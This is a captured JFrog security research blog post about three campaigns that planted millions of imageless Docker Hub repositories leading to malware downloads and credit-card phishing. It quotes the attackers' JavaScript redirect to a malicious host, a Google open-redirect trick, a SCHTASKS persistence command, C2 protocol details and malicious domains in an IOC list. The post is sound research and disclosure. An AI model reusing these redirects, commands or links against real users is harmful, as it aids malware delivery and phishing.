jfrog.com Open in urlscan Pro
108.138.26.125  Public Scan

URL: https://jfrog.com/blog/attacks-on-docker-with-millions-of-malicious-repositories-spread-malware-and-phishing-scams/
Submission: On May 01 via api from TR — Scanned from DE

Form analysis 4 forms found in the DOM

GET https://jfrog.com/

<form role="search" method="get" action="https://jfrog.com/">
  <div class="search-wrap">
    <input type="search" placeholder="Search..." name="s" value="" aria-label="Search">
  </div>
</form>

GET https://jfrog.com/

<form role="search" method="get" action="https://jfrog.com/">
  <div class="search-wrap">
    <input type="search" placeholder="Search..." name="s" value="" aria-label="Search">
  </div>
</form>

<form id="newsletter" class="JFROG-CAPTCHA mw-100" novalidate="novalidate">
  <div class="form-row">
    <input name="email" type="email" class="form-control mb-3" id="pld_email" placeholder="Email address*">
  </div>
  <div class="form-row">
    <input name="jf_terms" class="magic-checkbox" type="checkbox" id="terms_cons" value="" required="">
    <label class="jf-check mb-0" for="terms_cons">
      <p>I have read and agreed to the <a class="black bold" href="/privacy-policy/" target="_blank" rel="noopener">Privacy Policy</a></p>
    </label>
  </div>
  <div class="mb-2 submit-btn-container">
    <button type="submit" class="btn btn-green-form" data-gac="CTA Buttons" data-gaa="Blog" data-gal="Newsletter Subscription"> Subscribe </button>
    <div class="g-recaptcha" data-widget-id="0">
      <div class="grecaptcha-badge" data-style="bottomright"
        style="width: 256px; height: 60px; display: block; transition: right 0.3s ease 0s; position: fixed; bottom: 14px; right: -186px; box-shadow: gray 0px 0px 5px; border-radius: 2px; overflow: hidden;">
        <div class="grecaptcha-logo"><iframe title="reCAPTCHA" width="256" height="60" role="presentation" name="a-qfqbrpj57xia" frameborder="0" scrolling="no"
            sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-top-navigation allow-modals allow-popups-to-escape-sandbox allow-storage-access-by-user-activation"
            src="https://www.recaptcha.net/recaptcha/api2/anchor?ar=1&amp;k=6Le76nYpAAAAAFrLTZMENCv9u3eM6SGV8qUkFAHG&amp;co=aHR0cHM6Ly9qZnJvZy5jb206NDQz&amp;hl=de&amp;v=V6_85qpc2Xf2sbe3xTnRte7m&amp;size=invisible&amp;cb=ah6joff4e9ud"></iframe></div>
        <div class="grecaptcha-error"></div><textarea id="g-recaptcha-response" name="g-recaptcha-response" class="g-recaptcha-response"
          style="width: 250px; height: 40px; border: 1px solid rgb(193, 193, 193); margin: 10px 25px; padding: 0px; resize: none; display: none;"></textarea>
      </div>
    </div>
  </div>
  <input type="hidden" name="referral-url" value="">
  <input type="hidden" name="is_china" value="">
  <input type="hidden" name="curr_lang" value="en">
  <input type="hidden" name="leadSource" value="Website Form">
  <input type="hidden" name="mrkName" value="BlogSubscription">
  <input type="hidden" name="gclid_field" class="gclid_field" value="">
</form>

<form id="blog_audio_request_form" class="form-style-sso JFROG-CAPTCHA pt-4">
  <div class="fields-box text-left pt-0 pb-3 cmm-form-side-padding normal-fields-box">
    <div class="single-field-box">
      <label for="barf_fullname">Full Name*</label>
      <input name="fullName" type="text" id="barf_fullname" placeholder="Your full name">
    </div>
    <div class="single-field-box">
      <label for="startfree_email">Email*</label>
      <input name="email" type="email" class="" id="startfree_email" placeholder="Your company email address">
      <label class="error_label"></label>
    </div>
  </div>
  <div class="fields-box fields-box-gray" id="start-free-mobile-submission">
    <div class="checkbox-field-box col-auto pl-0 pb-5 pb-xl-0 d-flex align-items-center">
      <div>
        <div class="ch_container">
          <input name="jf_terms" class="magic-checkbox" id="barf_terms" type="checkbox" value="">
          <label class="jf-check" for="barf_terms">I have read and agree to the <a href="/privacy-policy/" target="_blank" rel="noopener noreferrer">Privacy Policy</a></label>
        </div>
      </div>
    </div>
    <div class="col-auto px-0 submit-field-box">
      <button type="submit" class="btn-jf-green ml-0 mb-0 mt-0" data-gac="Trial Forms" data-gaa="evaluateCloudFreeTier" data-gal="aws"> Proceed </button>
      <div class="g-recaptcha" data-widget-id="1">
        <div class="grecaptcha-badge" data-style="none" style="width: 256px; height: 60px; position: fixed; visibility: hidden;">
          <div class="grecaptcha-logo"><iframe title="reCAPTCHA" width="256" height="60" role="presentation" name="a-nl22xxou05ul" frameborder="0" scrolling="no"
              sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-top-navigation allow-modals allow-popups-to-escape-sandbox allow-storage-access-by-user-activation"
              src="https://www.recaptcha.net/recaptcha/api2/anchor?ar=1&amp;k=6Le76nYpAAAAAFrLTZMENCv9u3eM6SGV8qUkFAHG&amp;co=aHR0cHM6Ly9qZnJvZy5jb206NDQz&amp;hl=de&amp;v=V6_85qpc2Xf2sbe3xTnRte7m&amp;size=invisible&amp;cb=b98b3fgjs48a"></iframe>
          </div>
          <div class="grecaptcha-error"></div><textarea id="g-recaptcha-response-1" name="g-recaptcha-response" class="g-recaptcha-response"
            style="width: 250px; height: 40px; border: 1px solid rgb(193, 193, 193); margin: 10px 25px; padding: 0px; resize: none; display: none;"></textarea>
        </div>
      </div>
    </div>
  </div>
  <div class="captcha-cn">
  </div>
  <input type="hidden" name="referral-url" value="">
  <input type="hidden" name="is_china" value="">
  <input type="hidden" name="curr_lang" value="en">
</form>

Text Content

___

 * Products
 * Solutions
 * Pricing
 * Developers
 * Resources
 * Partners

 * Become a JFrog Partner >
 * Find a JFrog Partner >
 * Get Help >

 * Community >
 * Documentation >
 * Integrations >
 * Applications >

Use Case
 * Cloud Solutions
    * Hybrid Cloud Adoption

 * MLSecOps
    * Secure AI/ML Model Management

 * DevOps
    * Artifact Management
    * Tool Consolidation
    * CI/CD

 * DevSecOps
    * Holistic Software Supply Chain Security
    * Curate Open-Source Packages
    * Source Code Scanning (SAST)
    * Software Composition Analysis (SCA)
    * Secrets Detection
    * Infrastructure as Code (IaC) Security

 * Device/IoT
    * Connected Device Management

Industry
 * Financial Services >
 * Public Sector >
 * Technology >
 * Healthcare >
 * Gaming >
 * Automotive >

Learning & Guides
 * JFrog Help Center >
 * Security Research >
 * JFrog Academy >
 * Events >
 * Webinars & Workshops >
 * DevOps Consulting Services >
 * DevOps Certification >
 * State of Union Report >
 * What are DevOps Tools? >

Collateral
 * Resource Center >
 * JFrog Blog >
 * Customer Stories >

Customer Zone
 * Support >
   Customer support, tickets and community
 * Manage & Troubleshoot >
   Renew, retrieve licenses, legal and more
 * MyJFrog >
   Cloud customer portal
 * Cloud Status >
   Service status & event subscription
 * JFrog Trust >
   How we protect you & your data

The JFrog Platform
Deliver Trusted Software with Speed

The only software supply chain platform to give you end-to-end visibility,
security, and control for automating delivery of trusted releases. Bring
together DevOps, DevSecOps and MLOps teams in a single source of truth.
View Platform
DevOps
Powering the Software that Powers the World
JFrog Artifactory
The Universal Artifact and ML Model Repository Manager
JFrog Pipelines
Enterprise Grade CI/CD and Workflow Automation
JFrog Distribution
Fast, Secure Distribution Across Consumption Points
DevSecOps
Securing your Software Supply Chain end-to-end
JFrog Curation
Seamlessly Curate Software Packages and ML Models
JFrog Security Essentials (Xray)
Integrated SCA for Software Artifacts and ML Models
JFrog Advanced Security
Software Supply Chain Security exposure Scanning & Real-world Impact Analysis
IoT Device Management



JFrog Connect
IoT Device Management with DevOps Agility

Contact Us
1 (800) 986-4316
Start Free
 * Products
   The JFrog Platform
   Deliver Trusted Software with Speed
   
   The only software supply chain platform to give you end-to-end visibility,
   security, and control for automating delivery of trusted releases. Bring
   together DevOps, DevSecOps and MLOps teams in a single source of truth.
   View Platform
    * DevOps Powering the Software that Powers the World
      * JFrog Artifactory
        The Universal Artifact and ML Model Repository Manager
      * JFrog Pipelines
        Enterprise Grade CI/CD and Workflow Automation
      * JFrog Distribution
        Fast, Secure Distribution Across Consumption Points
    * DevSecOps Securing your Software Supply Chain end-to-end
      * JFrog Curation
        Seamlessly Curate Software Packages and ML Models
      * JFrog Security Essentials (Xray)
        Integrated SCA for Software Artifacts and ML Models
      * JFrog Advanced Security
        Software Supply Chain Security exposure Scanning & Real-world Impact
        Analysis
    * IoT Device Management
      
      
      
      * JFrog Connect
        IoT Device Management with DevOps Agility

 * Solutions
    * Use Case
      * Cloud Solutions
        * Hybrid Cloud Adoption
      * MLSecOps
        * Secure AI/ML Model Management
      * DevOps
        * Artifact Management
        * Tool Consolidation
        * CI/CD
      * DevSecOps
        * Holistic Software Supply Chain Security
        * Curate Open-Source Packages
        * Source Code Scanning (SAST)
        * Software Composition Analysis (SCA)
        * Secrets Detection
        * Infrastructure as Code (IaC) Security
      * Device/IoT
        * Connected Device Management
    * Industry
      * Financial Services
      * Public Sector
      * Technology
      * Healthcare
      * Gaming
      * Automotive
    * 

 * Pricing
 * Developers
    * * Community
      * Documentation
      * Integrations
      * Applications
    * 

 * Resources
    * Learning & Guides
      * JFrog Help Center
      * Security Research
      * JFrog Academy
      * Events
      * Webinars & Workshops
      * DevOps Consulting Services
      * DevOps Certification
      * State of Union Report
      * What are DevOps Tools?
    * Collateral
      * Resource Center
      * JFrog Blog
      * Customer Stories
    * Customer Zone
      * Support
        Customer support, tickets and community
      * Manage & Troubleshoot
        Renew, retrieve licenses, legal and more
      * MyJFrog
        Cloud customer portal
      * Cloud Status
        Service status & event subscription
      * JFrog Trust
        How we protect you & your data
    * 

 * Partners
    * * Become a JFrog Partner
      * Find a JFrog Partner
      * Get Help
    * 


Blog Home


JFROG RESEARCH DISCOVERS COORDINATED ATTACKS ON DOCKER HUB THAT PLANTED MILLIONS
OF MALICIOUS REPOSITORIES

JFrog and Docker collaborate on mitigation and cleanup following latest findings
of Docker Hub Repositories being used to spread malware and phishing scams

By Andrey Polkovnichenko, Security Researcher Brian Moussalli, Malware Research
Team Leader Shachar Menashe, Senior Director Security Research April 30, 2024

19 min read

SHARE:





As key parts of the software ecosystem, and as partners, JFrog and Docker are
working together to strengthen the software ecosystem. Part of this effort by
JFrog’s security research team involves continuous monitoring of open-source
software registries in order to proactively identify and address potential
malware and vulnerability threats.

In former publications, we have discussed some of the malware packages we found
on the NPM, PyPI and NuGet registries by continuously scanning all major public
repositories. In this blog post, we reveal three large-scale malware campaigns
we’ve recently discovered, targeting Docker Hub, that planted millions of 
“imageless” repositories with malicious metadata. These are repositories that do
not contain container images (and as such cannot be run in a Docker engine or
Kubernetes cluster) but instead contain metadata that is malicious.

Docker Hub is a platform that delivers many functionalities to developers,
presenting numerous opportunities for development, collaboration, and
distribution of Docker images. Currently, it is the number one container
platform of choice for developers worldwide. It hosts over 15 million
repositories.

Yet, a significant concern arises when considering the content of these public
repositories. Our research reveals that nearly 20% of these public repositories
(almost three million repositories!) actually hosted malicious content. The
content ranged from simple spam that promotes pirated content, to extremely
malicious entities such as malware and phishing sites, uploaded by automatically
generated accounts.



While the Docker Hub maintainers currently moderate many of the uploaded
repositories, and the repositories we found have been taken down after our
disclosure, these attacks show that blocking 100% of malicious uploads is
immensely challenging.


WHAT ENABLED THIS ATTACK?

Docker Hub is Docker’s cloud-based registry service that hosts and distributes
images. Its core concept is a repository, which includes text descriptions and
metadata on top of the container data.

Docker Hub’s repository library (click to expand)

While the core feature of a Docker repository is to hold a collection of Docker
images (an application that can be updated and accessible through a fixed name),
Docker Hub introduces several key enhancements. The most significant of them is
community features.

For public repositories, Docker Hub acts as a community platform. It allows
users to search and discover images that might be useful for their projects.
Users can also rate and comment on repositories, helping others gauge the
reliability and utility of available images.

To help users search and use images, Docker Hub allows repository maintainers to
add short descriptions and documentation in HTML format, which will be displayed
on the repository’s main page. Usually, repository documentation aims to explain
the purpose of the image and provide guidelines for its usage.

Example of a Legitimate Repository’s Documentation

But as Murphy’s law for security says, if something can be exploited by malware
developers, it inevitably will be.

JFrog’s security research team discovered that ~4.6 million of the repositories
in Docker Hub are imageless and have no content except for the repository’s
documentation. A deeper inspection revealed that the vast majority of these
imageless repositories were uploaded with a malicious endgame – their overview
page tries to deceive users into visiting phishing websites or websites that
host dangerous malware.

Before discussing the various malicious payloads, we will explain our
methodology for finding these malicious repositories.


IDENTIFYING THE MALICIOUS REPOSITORIES

We started our research by identifying anomalies in the publication patterns of
Docker Hub repositories. To achieve this, we pulled all “imageless” Docker Hub
repositories published in the past five years, grouped them by creation date,
and plotted them on a graph:

Graph of Monthly Created Repositories

As we can see, the usual activity on Docker Hub is quite linear, but we can see
a few spikes in 2021 and 2023. If we zoom in, we see that the daily activity is
well-defined and follows a working week pattern. Even visually, we can notice a
working week pattern: more repositories are created on work days and fewer on
weekends.

Zooming in on the 2023 anomaly

The graph shows that when the unusual activity starts, the number of
daily-created repositories multiplies tenfold.

We thoroughly analyzed the repositories created on days with anomalies and found
many repositories deviated from the norm. The main deviation is that they didn’t
contain container images, just a documentation page, making the repository
unusable, as it can’t be pulled and run as a normal docker image.

Example of a Malicious Repository

For instance, the repository shown in the screenshot above contains a few links
in the description directing users to a phishing website:
https[://]www[.******medz*****.]com. This site deceives unsuspecting visitors by
promising to purchase prescription-only medications but then stealing their
credit card details.

While all anomalous repositories were somewhat different from each other and
were published by various users, most followed the same patterns. That allowed
us to create a signature and group them by families (or campaigns). Once we
applied this signature to all imageless repositories, we gathered a list of the
hub users publishing them. We classified all repositories published by these
users as malware as well.

After we plotted the campaigns on the timeline, we got an understanding of the
periods when the largest malware campaigns operated.

Two were most active in the first half of 2021, publishing thousands of
repositories daily. The downloader campaign made one more attempt in August
2023. The “Website SEO” campaign operated differently, consistently pushing a
small number of repositories daily over three years.

Malware Repositories Registered Per Day by Campaign

At the time of DockerCon 2023, Docker Hub contained 15 million repositories, so
we will use this number as reference for the total Docker Hub repository count.

The total number of imageless repositories published to Docker Hub is 4.6M – 30%
of all public repositories. We were able to link 2.81M (~19%) of these
repositories to these large malicious campaigns.

In addition to the large campaigns we identified, our analysis also revealed the
presence of smaller sets of repositories. These campaigns seemed mostly focused
on spam / SEO, however we could not classify all of the variants of these
campaigns. These smaller “campaigns” contained less than 1000 packages each. For
our categorization, we allocated these smaller sets to a group labeled “Other
suspicious” –

DockerHub repositories classification

Distribution of malicious repositories by campaigns:

Campaign # of Repositories (% of all DH Repositories) # of Users Website SEO
215451 (1.4%) 194699 Downloader 1453228 (9.7%) 9309 eBook Phishing 1069160
(7.1%) 1042 Other suspicious imageless 76025 (0.5%) 3689 Total 2.81M (18.7%)
208739

We can see different approaches in the distribution of the malicious
repositories. While the “Downloader” and “eBook Phishing” campaigns create fake
repositories in batches over a short time period, the “Website SEO” campaign
creates a few repositories daily over the whole time frame and uses a single
user per repository.

Now that we know which main malware campaigns were running on Docker Hub, let’s
review their tactics and techniques in depth.

 1. “Downloader” Campaign
 2. “eBook Phishing” Campaign
 3. “Website SEO” Campaign


ANALYSIS OF THE DOCKER HUB MALWARE CAMPAIGNS


1. “DOWNLOADER” CAMPAIGN

Distribution of the Downloader Campaign’s Repositories

Repositories belonging to this campaign contain automatically generated texts
with SEO text proposing to download pirated content or cheats for video games.
Additionally, the text includes a link to the alleged advertised software.

This campaign operated in two distinct rounds (circa 2021 and 2023), while both
rounds used exactly the same malicious payload (see analysis further down).



Example of a malicious repository with a malware download link

THE 2021 ROUND – MALICIOUS DOMAINS PRETENDING TO BE URL SHORTENERS

Most URLs used in the campaign pretend to use known URL shorteners (ex.
tinyurl.com), similar to an attack campaign on Google Ads found in 2021 as well.
After we tried to resolve them, we discovered that, unlike the real shorteners,
these malicious shorteners don’t actually encode the URL. Instead, they encode a
file name and resolve a link to a different domain each time a malicious
resource is shut down.

For instance, during our investigation, the URL blltly[.]com/1w1w1 redirected to
https[://]failhostingpolp[.]ru/9ebeb1ba574fb8e786200c62159e77d15UtXt7/x60VKb8hl1YelOv1c5X1c0BuVzmFZ8-teb-LRH8w.
However, subsequent requests to the server triggered the generation of a new URL
path each time.

Their sole purpose is to serve as a proxy for a malicious CDN.

Every subsequent request to the same shortened link brings a different URL, and
if the server that’s hosting malicious files is shut down, the shortener will
return a link to a new, active one. 

We gathered a list of all malicious domains and compiled a table showing the
correspondence between the fraudulent shorteners and their real, trustworthy
versions.

Malware shortener Impersonated legitimate shortener blltly[.]com
bltlly[.]com
byltly[.]com
bytlly[.]com https://bitly.com/ tinourl[.]com
tinurli[.]com
tinurll[.]com
tiurll[.]com
tlniurl[.]com https://tinyurl.com urlca[.]com
urlcod[.]com
urlgoal[.]com
urllie[.]com
urllio[.]com
urloso[.]com
urluso[.]com
urluss[.]com https://urlgo.in/ imgfil[.]com https://imgflip.com/ cinurl[.]com
fancli[.]com
geags[.]com
gohhs[.]com
jinyurl[.]com
miimms[.]com
picfs[.]com
shoxet[.]com
shurll[.]com
ssurll[.]com
tweeat[.]com
vittuv[.]com

Fake URL Shorteners Used by the Malware Campaign

This strategy, developed in 2021, worked for some time until AV companies found
a list of the links and added them to their blacklists. Currently, browsers and
providers raise alerts when an attempt is made to access one of the links from
the table above.

THE 2023 ROUND – ENHANCED ANTI-DETECTION TECHNIQUES

The second round of the campaign, which occurred in 2023, focused on avoiding
detection. The malicious repositories no longer use direct links to malicious
sources. Instead, they point to legitimate resources as redirects to malicious
sources.

Among these resources is a page hosted on blogger.com that contains JavaScript
code that redirects to the malicious payload after 500 milliseconds:

<script type='text/javascript'>
  var c = new URL(window.location).searchParams.get('el');
  if(c!=null){
    setTimeout('write()', 500);
    setTimeout('Redirect()', 0);
  }else{
  	window.setTimeout(function(){
     document.getElementById('redir').href='https://gohhs.com/';
   }, 500);
  }
  function write()
  {
   document.getElementById('redir').href='https://gohhs.com/'+c;
 }
 function Redirect()
 {
   window.location.replace('https://gohhs.com/'+c);
 }
</script>



Another approach is a well-known open redirect bug in Google, which allows
malicious actors to redirect users to a malicious site with a legitimate Google
link using specific parameters.

Normally, the Google link
https://www[.]google[.]com/url?q=https%3A%2F%2Fexample.us%2F doesn’t redirect a
user to the target site. Instead, it shows a notice warning that they are being
redirected to another domain.

Example of a Redirection Notice

However, it’s possible to add the undocumented parameter usg to disable this
warning. The parameter contains a hash or signature that causes google.com to
redirect to the target site automatically –

PROTOCOL: https HOST: www.google.com PATH: /url PARAMS:

q = https://urlin.us/2vwNSW sa = D sntz = 1 usg = AOvVaw1A6cBKittNvLawLc7IB9M0

This redirect leads to the target site. At the time of writing, the target sites
were gts794[.]com and failhostingpolp[.]ru. These sites lure the victim to
download an advertised software. However, regardless of the name on the landing
page, the downloaded file is always the same archive with an EXE installer. As
we can see in the AnyRun analysis, the malware installs a binary called
freehtmlvalidator.exe into the directory “%LOCALAPPDATA%\HTML Free Validator”

Malicious Payload Served in the Downloader Campaign

ANALYSIS OF THE “DOWNLOADER” CAMPAIGN PAYLOAD

The payload of the “Downloader” campaign is a malicious executable that most
antivirus engines detect as a generic Trojan.

Detection of the Served Payload by Antiviruses

The malware is written with the successor to the once-popular Delphi
environment: Embarcadero RAD Studio 27.0.

The malware communicates with the C2C server
http://soneservice[.]shop/new/net_api using HTTP POST requests. The request is a
JSON message XORed with the three-byte key “787” and encoded in hex.

{
    "5E4B1B4F": "4D571F435C025E5B0A465B114B4602455C0F4B460A",
    "465B0F": "664eed76ed570dbb4cba2bdcb3479b5f",
    "4E531F4B": "en"
}


The fields of the JSON are encoded in the same manner but using a different key:
“*2k”. Knowing this, we can decode the request to

{
    "type": "getinitializationdata",
    "lid": "664eed76ed570dbb4cba2bdcb3479b5f",
    "data": "en"
}


The first command sent by the malware to the server is getinitializationdata. It
contains two parameters: the malware’s unique identifier (“lid”) and the system
locale identifier. The latter informs the server about the language setting of
the infected system, enabling customized responses. The malware uses this unique
identifier for all subsequent server requests.

In response, the server provides layout and localization details specific to
Delphi, which are adapted based on the system’s language setting.

Afterwards, the malware sends an initialization request passing information
about the infected system. The information includes OS-specific information,
hardware, installed browser, version of the .NET framework, running processes,
and available network adapters. The server, in return, provides a link to the
alleged promised software and a list of offers. The promised software part is
represented by URL and file name:

    "file": {
        "download_url": "http:\/\/totrakto.com\/CRACK-IDA-Pro-V6-8-150423-And-HEX-Rays-Decompiler-ARM-X86-X64-iDAPROl.zip",
        "name": "CRACK-IDA-Pro-V6-8-150423-And-HEX-Rays-Decompiler-ARM-X86-X64-iDAPROl.zip",
        "size": 64918480
    },


Malware’s Communication with the C2 Server

The “offers” section of the response contains a list of the links to
executables, too. Additionally, it outlines various conditions that must be met
to drop executables. The most significant conditions are:

 * excludeGeoTargeting contains codes of countries where the malware shouldn’t
   be installed
   
   "excludeGeoTargeting": [
       "RU",
       "AZ",
       "AM",
       "BY",
   ]
   

 * blackAvList contains a list of antivirus applications that will also prevent
   the malware from being installed
   
   "blackAvList": [
       "avast",
       "avg",
       "avira",
       "nod32",
       "mcafeeep",
       "windef",
   ]
   

 * A process blacklist (wasn’t observed in payload sample)
 * A list of Windows registry entries that must be present on the target system
   (wasn’t observed in payload sample)

Considering that the malware already sends information about the system to the
server, we find these conditions on the client a bit redundant. Also, the
response contains fields that were never used by the malware binary but are
typical for advertisement networks, such as price, offer_id, and advertiser_id.
From these fields we can assume that this malware operation is part of a broader
ecosystem, potentially involving adware or monetization schemes that benefit
from the distribution and installation of third-party software. Building on this
understanding, we further assume that these request parameters are likely copied
and embedded into the software from a dubious advertising network API, where
third parties may pay for the distribution of their executables.

"advertiser_id": 7,
"groupOffer_id": 43,
"price": 0.064,
"price_usd": 0.064,
"tarif": 0.08,
"use_balance": "0",


After processing the response, the malware shows an installation dialog that
proposes to the user to download and install the software promised in the
malicious Docker Hub repository –

Installation Dialog Shown by Malware

After accepting, in addition to installing the promised software, the malware
just downloads all the malicious binaries from offer and schedules their
persistent execution with the command “SCHTASKS.exe /Create /TN <random_name>
/RL HIGHEST /SC DAILY”.


2. “EBOOK PHISHING” CAMPAIGN

Malware repositories registered per day by ebook_phishing campaign

Nearly a million repositories created in the middle of 2021 turned Docker Hub
into a “pirated eBook library”. These spam repositories all offered free eBook
downloads containing randomly generated descriptions and download URLs –

Example of an eBook phishing repository

All links eventually redirect the user to the same page:
http://rd[.]lesac[.]ru/.

eBook download landing page

After promising a free full version of the eBook, the website chooses a random
page from the set available for the user’s IP and redirects them there. The
following steps depend on the user’s country, but usually, it’s a form asking
the user to enter credit card information.

Undoubtedly, the sole intent behind this action is phishing, aiming to steal
credit card details and unknowingly enroll the user in a subscription service.
The footer on these target sites usually has barely-readable text, saying the
subscription charges 40-60€ per month.





Some phishing sites from the campaign (click to expand)


3. “WEBSITE SEO” CAMPAIGN

Unlike the previous two campaigns, which were blatantly malicious (phishing /
malware download) the aim of this campaign is not so clear. While the
repositories themselves were obviously not uploaded in good faith, the content
is mostly harmless – just a random description string with a username generated
by the pattern “axaaaaaxxx” where a is a letter and x is a digit. All
repositories published by these users have the same name: website.

It is possible that the campaign was used as some sort of a stress test before
enacting the truly malicious campaigns.

This campaign also has a different registration routine. As we can see from the
graph, the actors behind this campaign created a thousand repositories daily
across three years! This is unlike the previous campaigns, which focused on
generating imageless repositories in a much shorter time. In this campaign the
attackers published only one repository per created user, whereas in the
previous campaigns, a single user was used to publish thousands of repositories.

Malware repositories registered per day by “Website SEO” campaign

In this campaign, the repository description usually contains a short, seemingly
random, and senseless phrase without any other information.
Some of the repositories contain links to social network sites, but these seem
to contain mostly garbage as well, and not malicious URLs or files –



Example of a Website SEO Campaign Repositories’ Description

Below are some user names from this campaign, with the relevant descriptions in
the repository documentation –

Random Phrases from the Website SEO Campaign’s Repositories

When we searched for these usernames, we found that this campaign also targeted
other platforms that have open contribution policies –

Website SEO Campaign Usernames Used in other Platforms


DISCLOSURE TO DOCKER INC.

Prior to this publication, the JFrog research team disclosed all findings to the
Docker security team, including 3.2M repositories that were suspected as hosting
malicious or unwanted content. The Docker security team quickly removed all of
the malicious and unwanted repositories from Docker Hub. We would like to thank
the Docker security team for handling this disclosure quickly and
professionally, and are happy to contribute to the continued safe use of the
Docker ecosystem.


HOW CAN DOCKER HUB USERS AVOID SIMILAR ATTACKS?

Users should prefer using Docker images that are marked in Docker Hub as
“Trusted Content” –



Docker Hub has designated tags for trusted content that users can look for when
browsing an image’s description page. The first tag is the Docker Official Image
tag, otherwise known as Docker Hub’s Library, a set of curated Docker
repositories. The Library consists of repositories that are maintained by
trusted and well-known software development foundations, organizations and
companies, such as Python, Ubuntu and Node. The second tag is the Verified
Publisher tag, which is assigned to every repository that is part of the Docker
Verified Publisher Program. This set contains repositories from commercial
publishers, who have been verified by Docker Hub. And lastly, the Sponsored OSS
tag, which is assigned to repositories of open source projects that are
sponsored by Docker Hub.

When browsing a repository’s page, a badge that indicates that the repository is
part of one of the aforementioned types would appear next to the repository’s
name, at the top of the page –



Following these guidelines would decrease the risk of being manipulated into
following a malicious link outside of Docker Hub from a repository’s description
page. For example – none of the malicious repositories mentioned in this blog
was marked as “Trusted Content”.


SUMMARY

Unlike typical attacks targeting developers and organizations directly, the
attackers in this case tried to leverage Docker Hub’s platform credibility,
making it more difficult to identify the phishing and malware installation
attempts.

Almost three million malicious repositories, some of them active for over three
years highlight the attackers’ continued misuse of the Docker Hub platform and
the need for constant moderation on such platforms.


IOCS

failhostingpolp[.]ru
gts794[.]com
blltly[.]com
ltlly[.]com
byltly[.]com
bytlly[.]com
cinurl[.]com
fancli[.]com
geags[.]com
gohhs[.]com
imgfil[.]com
jinyurl[.]com
miimms[.]com
picfs[.]com
shoxet[.]com
shurll[.]com
ssurll[.]com
tinourl[.]com
tinurli[.]com
tinurll[.]com
tiurll[.]com
tlniurl[.]com
tweeat[.]com
urlca[.]com
urlcod[.]com
urlgoal[.]com
urllie[.]com
urllio[.]com
urloso[.]com
urluso[.]com
urluss[.]com
vittuv[.]com
rd[.]lesac[.]ru
soneservice[.]shop


STAY UP-TO-DATE WITH JFROG SECURITY RESEARCH

The security research team’s findings and research play an important role in
improving the JFrog Software Supply Chain Platform’s application software
security capabilities.

Follow the latest discoveries and technical updates from the JFrog Security
Research team on our research website, and on X @JFrogSecurity.

Tags: security-research docker docker registry
Get Started with Advanced Security

SHARE:





Sign up for blog updates

I have read and agreed to the Privacy Policy

Subscribe



POPULAR TAGS

 * CI/CD
 * Artifactory
 * Best Practices
 * DevOps
 * Xray


TRY THE JFROG PLATFORM


IN THE CLOUD OR SELF-HOSTED

Start Free

or Book a Demo


THANK YOU!

Full Name*
Email*
I have read and agree to the Privacy Policy
Proceed



Products
 * Artifactory
 * Xray
 * Curation
 * Pipelines
 * Distribution
 * Container Registry
 * Connect

 * JFrog Platform

 * Start Free

Resources
 * Blog
 * Security Research
 * Events
 * Integrations
 * JFrog Help Center
 * DevOps Tools
 * Open Source
 * Featured
 * JFrog Trust
 * Compare JFrog

Company
 * About
 * Management
 * Investor Relations
 * Partners
 * Customers
 * Careers

 * Press
 * Contact Us
 * Brand Guidelines

Developer
 * Community
 * Downloads
 * Community Events
 * Open Source Foundations
 * Community Forum
 * Superfrogs
 * Applications


Follow Us

© 2024 JFrog Ltd All Rights Reserved
Discover More
 * IoT Management Platform
 * Software Supply Chain Platform Pricing
 * End to End Security Tool for DevOps

Terms of Use | Privacy Policy | Cookies Policy |
Cookies Settings
| Accessibility Notice | Accessibility Mode


SUCCESS

Your action was successful

Get Started
x


OOPS... SOMETHING WENT WRONG

Please try again later

Continue


INFORMATION

Modal Message

Continue
Click Here

请点这里